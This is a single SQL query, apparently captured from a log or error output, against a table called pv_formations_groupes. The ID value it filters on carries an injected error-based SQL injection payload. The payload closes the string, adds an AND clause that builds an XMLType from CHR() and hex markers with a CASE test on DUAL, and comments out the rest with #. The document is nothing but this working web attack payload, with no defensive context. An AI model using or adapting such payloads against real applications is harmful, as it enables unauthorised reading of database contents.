SELECT *
	FROM pv_formations_groupes
	WHERE id_formation_groupe = '4 ' IN BOOLEAN MODE)AND 4451=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||0x66726d||(SELECT (CASE WHEN (4451=4451) THEN 1 ELSE 0 END) FROM DUAL)||0x6c5968||CHR(62))) FROM DUAL)#'